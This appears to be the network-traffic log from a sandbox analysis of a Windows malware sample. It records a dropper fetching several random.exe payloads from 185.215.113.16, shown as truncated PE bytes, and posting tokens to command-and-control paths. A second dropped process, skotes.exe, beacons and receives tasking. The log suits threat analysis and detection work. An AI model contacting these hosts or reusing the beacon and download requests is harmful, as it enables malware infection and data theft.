Nov 29, 2024 19:49:53.495908022 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49809	185.215.113.16	80	2172	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:49:53.620404959 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 29, 2024 19:49:55.054212093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:49:54 GMT Content-Type: application/octet-stream Content-Length: 1884160 Last-Modified: Fri, 29 Nov 2024 18:38:32 GMT Connection: keep-alive ETag: "674a0a28-1cc000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J@WkD@JJ @.rsrcD@.idata @ 0*@wdmrrcke0@rnnjldgnJ@.taggant0J"@
Nov 29, 2024 19:49:55.054399014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:49:55.054410934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:49:55.054429054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:49:55.054440975 CET	1236	IN	Data Raw: df fc 5f 0d 90 aa 90 d7 30 dd 73 09 d4 e1 f1 73 81 89 d8 c8 09 37 9f 7b a2 57 fb 2d 9f bb ef 58 43 ff 82 82 40 bf 6b 4d 9c c6 53 4b 20 d8 62 71 f0 c7 af 8d ec e5 1e f8 41 c8 df dc 99 2a f0 77 20 3b 44 3c b8 86 14 79 92 0a ee 4a 60 c8 27 3f 91 66 Data Ascii: _0ss7{W-XC@kMSK bqA*w ;D<yJ`'?fHy=;8Ew0WW)C)7#W@ ;8349M\|'[_TE~M@'4^`b@?;.@exk;XxU-)
Nov 29, 2024 19:49:55.054683924 CET	1236	IN	Data Raw: 2f fb c5 bd 6f 13 20 0b 88 1f b4 8e c7 96 75 92 00 f9 eb a0 91 3a 94 15 11 f4 ef 98 24 3f 8f 4d 10 d9 47 45 62 9f f8 03 23 1d 9c 40 f9 bb 0f 1d 74 5a 70 38 9a 0a f5 49 78 b9 6e 00 9f 27 74 59 40 fb f9 3c 80 4f aa 6b c4 0e f1 a4 70 7e d4 2c 16 58 Data Ascii: /o u:$?MGEb#@tZp8Ixn'tY@<Okp~,X$}?G"d~CIOp-Y^9.xVs*xN5e@q:_.IB_V,w.f3&7zK-(CAZx<}8A'ZX#q7!
Nov 29, 2024 19:49:55.054694891 CET	776	IN	Data Raw: ac d2 96 b1 58 d0 93 17 5c c6 18 cf 91 d8 b7 7a c7 6e 82 6d 0b 4b bd 9d ff e1 c6 99 48 c9 b7 52 6d 78 a1 5e 5c de e2 2b 48 28 f4 19 3f 63 dd 0a 2e 4f 96 ba 17 be 75 3e 51 9f 84 4b bd ab 42 b9 17 e0 59 e6 11 63 d4 18 77 5c 58 1b 58 ec 9a 17 cc 1b Data Ascii: X\znmKHRmx^\+H(?c.Ou>QKBYcw\XX%+d0eo8l+K$gguRuyZO@~#N"}0S`?WX^_{4^&q@0J6JzEX*-sF-Gz,e3Pta
Nov 29, 2024 19:49:55.054706097 CET	1236	IN	Data Raw: fd 16 71 d9 3e fc 6c 0f 58 68 db e3 ec 19 4e 10 bf 86 d4 38 29 ba 5c 68 73 cd 0a c0 ca 55 d0 8b 6e b9 44 4f fd db 46 3d 74 c1 c2 9f c5 17 45 73 36 fe 4b 6d 21 d6 df 0a 0c e2 3c 13 e5 0f b4 23 7c e4 d9 4a ba d6 f2 73 87 cc 16 89 4f 54 98 ad 7a ca Data Ascii: q>lXhN8)\hsUnDOF=tEs6Km!<#\|JsOTzM*>=)cH)I;>x\$4:\|\|&r+5=L7DZzr1X[s:Hm@[eyUu[V^s,TU+NX1}UNbh`
Nov 29, 2024 19:49:55.054718018 CET	1236	IN	Data Raw: c3 dc 31 29 f4 3a 50 96 b3 15 f8 4c 23 5c 5c 3c 37 a9 28 b7 ac 9f 2c ed 74 ed 35 73 f9 e9 de c3 89 32 2c 1b d0 47 0c 6d f3 3a 9b 08 95 fa ee 12 97 47 19 7e 86 6b 18 4e 80 d9 de 10 49 e8 38 01 4a d8 55 c5 90 0f c4 c9 1e c1 11 cd 38 6f b1 92 26 7f Data Ascii: 1):PL#\\<7(,t5s2,Gm:G~kNI8JU8o&QIu!. dZc.wxC)ZWJd(hZ0$V: MEVYDd#T*Ym<Z+LFp;Yz{clq%m&)G;Qd
Nov 29, 2024 19:49:55.054730892 CET	1236	IN	Data Raw: 52 43 58 2d 34 df 00 57 80 e4 d4 d3 aa 2b a8 2d 8f a1 a7 4c be c3 1d e1 9a 58 2a 70 85 7e 46 b2 57 bd c1 7a 75 bf 4e 31 58 95 d4 70 f4 3d e6 13 18 4b 28 c9 b4 d3 5a 52 6a 06 e6 dd ea 6d 94 59 c0 40 18 47 b4 e9 2e e3 74 40 f6 60 a2 da 66 31 3b 08 Data Ascii: RCX-4W+-LXp~FWzuN1Xp=K(ZRjmY@G.t@`f1;+<4Io+P[NlGTYJqR"PxGzBaJGIyMhf'~,la,l>ED,HA*10
Nov 29, 2024 19:49:55.174282074 CET	1236	IN	Data Raw: 44 77 ba c3 2a 7f 78 ea 2f f1 b1 0c af 88 57 cd f8 0c b4 07 e0 a1 d1 d2 30 97 d4 d5 59 46 fa e9 7f de b1 0f e3 0c bb d9 38 3f 1d 5a 55 3a 67 45 56 9d e0 13 fa 13 05 12 06 2d cf 09 c7 cb 57 66 5c f2 d1 d2 e3 d0 5c 4a 71 14 62 67 02 82 d1 d3 77 3f Data Ascii: Dw*x/W0YF8?ZU:gEV-Wf\\Jqbgw?B,$-DKl9XUb->Er5$;QyAZc)c;rDN3cNa]Xr[f/P`?scn 8 <`}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49823	185.215.113.206	80	2172	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:49:59.178809881 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKKKEHJKFCFCBFHIIDGD--
Nov 29, 2024 19:50:01.114202023 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49844	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:07.681360960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:50:09.078942060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49852	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:10.708513021 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:50:12.161500931 CET	862	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 39 66 0d 0a 20 3c 63 3e 31 30 31 30 33 35 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 30 33 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 30 33 35 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 30 33 35 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 29f <c>1010353001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1010354001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1010355001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1010356001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1010357001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1010358001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1010359001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49856	185.215.113.16	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:12.316651106 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 19:50:13.647948027 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:13 GMT Content-Type: application/octet-stream Content-Length: 1872896 Last-Modified: Fri, 29 Nov 2024 18:38:18 GMT Connection: keep-alive ETag: "674a0a1a-1c9400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 a4 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELB3GgpJ@J@\`pPa @X@.rsrcPh@.idata `j@ *pl@kavxkxnu`0n@myhjcrzc`Jn@.taggant0pJ"r@
Nov 29, 2024 19:50:13.648047924 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:13.648864031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:13.648890972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:13.648901939 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:13.649898052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:13.649930954 CET	1236	IN	Data Raw: ac cb 0b 73 a9 3a 47 11 72 5a ac 4d c9 ec 78 0d d1 e8 59 58 fe bf cc 39 ba 27 9d 36 11 99 47 55 d3 91 1c 9b 60 6b 58 28 49 89 b4 25 47 ca 0b 29 e9 9f 5f 3e 1b 25 f4 65 a7 29 e4 54 95 55 47 2e 6b e4 91 4e 70 90 be e6 97 2c 51 0d c0 61 a8 62 9b f9 Data Ascii: s:GrZMxYX9'6GU`kX(I%G)_>%e)TUG.kNp,Qab95Z2v:wVis_QTCznQKmrM2@),M<cd*n{3\N9Ow0c$GaMPo?tf$nS6eNt_
Nov 29, 2024 19:50:13.649941921 CET	248	IN	Data Raw: 1b 4f 87 ed 9f 78 fa fe e4 1c 9c 89 29 d1 fb 97 2f 99 b4 7e e5 2b 06 2b f9 be 69 8a 15 43 39 92 df ed 51 52 48 20 32 d0 97 be 5e 6d ca 81 8b 7a 93 a9 d8 72 89 b1 84 97 55 c2 f4 69 6a 55 af 55 4a ad 1a 42 e7 a8 c4 e1 db 5f 96 6f 17 c5 af 86 4b 4a Data Ascii: Ox)/~++iC9QRH 2^mzrUijUUJB_oKJ]&ZX35x u{l-3F.\|B43&+Ti7:sCv}Y^bD~]\|6yzNw*xdmB$)DHa&Ez\wyWrE$A[>_s
Nov 29, 2024 19:50:13.650820971 CET	1236	IN	Data Raw: 3f b0 3d 02 02 88 29 d0 0d 3d b8 0f 2c 32 83 99 cf c9 39 7a 60 d8 9a ef 73 93 af b1 a7 37 7c c6 6a f1 b3 4d 62 6a f7 af 78 41 cb de 0a 4b eb 69 64 25 ea 43 35 fd 0a 1d 69 60 b6 42 c9 c0 8c a0 24 5a 88 b2 2c 32 91 f6 d6 a6 b0 1d 3c 7b 16 79 f4 af Data Ascii: ?=)=,29z`s7\|jMbjxAKid%C5i`B$Z,2<{y(Jpa,D"w)[wrJ3-Gr@O4T"si#Ro:Zl>E=l{o4 r06lI2PUdfaUt=;
Nov 29, 2024 19:50:13.650934935 CET	1236	IN	Data Raw: cf 43 cd 04 6a 82 74 17 d5 c9 04 ca 20 3c db de 99 4d 4c 22 dc 95 3c ce f6 ed b4 15 ed f5 e3 51 84 b2 16 6c 3b 04 9e ed 92 ff 9f 66 23 c4 72 6e 13 21 bc 43 73 c2 21 3b e7 af 44 3e 71 ef 04 ca ea bc 4c 8f 80 60 84 f4 e7 93 4c dd 91 dc 8a 77 d5 85 Data Ascii: Cjt <ML"<Ql;f#rn!Cs!;D>qL`Lw#r'cU<jYR2a3)=\-sm#5Iqvest?nA{)x}rugC9O)bBbMSWe)`=H@JJrY-l3"
Nov 29, 2024 19:50:13.768260956 CET	1236	IN	Data Raw: 93 ac 5c d0 43 fc 9b 9e 6c 53 23 ae 59 e8 8e 2c 00 b3 19 d1 81 b2 88 26 57 bc b2 ba 72 3d c1 ad 93 71 d5 29 4b 5c 18 bc 98 60 50 dc 69 c1 57 15 aa 5c 55 e8 ac db 81 d6 bb 7d a4 86 82 2c dc 0e d3 d1 ef 0c 47 4a b8 94 ac 37 ae 90 73 f0 48 36 e9 42 Data Ascii: \ClS#Y,&Wr=q)K\`PiW\U},GJ7sH6B%q}94Vab~Q4R{#p=34>B.`Xov,lxynPB) ?8UL?*mzmHbmwz#7~=MbD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49873	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:19.182894945 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010353001&unit=246122658369
Nov 29, 2024 19:50:20.523842096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49877	185.215.113.16	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:20.646429062 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 19:50:22.023925066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:21 GMT Content-Type: application/octet-stream Content-Length: 1789952 Last-Modified: Fri, 29 Nov 2024 18:38:25 GMT Connection: keep-alive ETag: "674a0a21-1b5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e8 97 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 8d 41 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELHg"h@iA@M$a$$ $b@.rsrc$r@.idata $t@ P$v@ihmwfsmwOx@vvsaypnnh@.taggant0h".@
Nov 29, 2024 19:50:22.023958921 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:22.025079966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:22.025183916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:22.025196075 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:22.025984049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
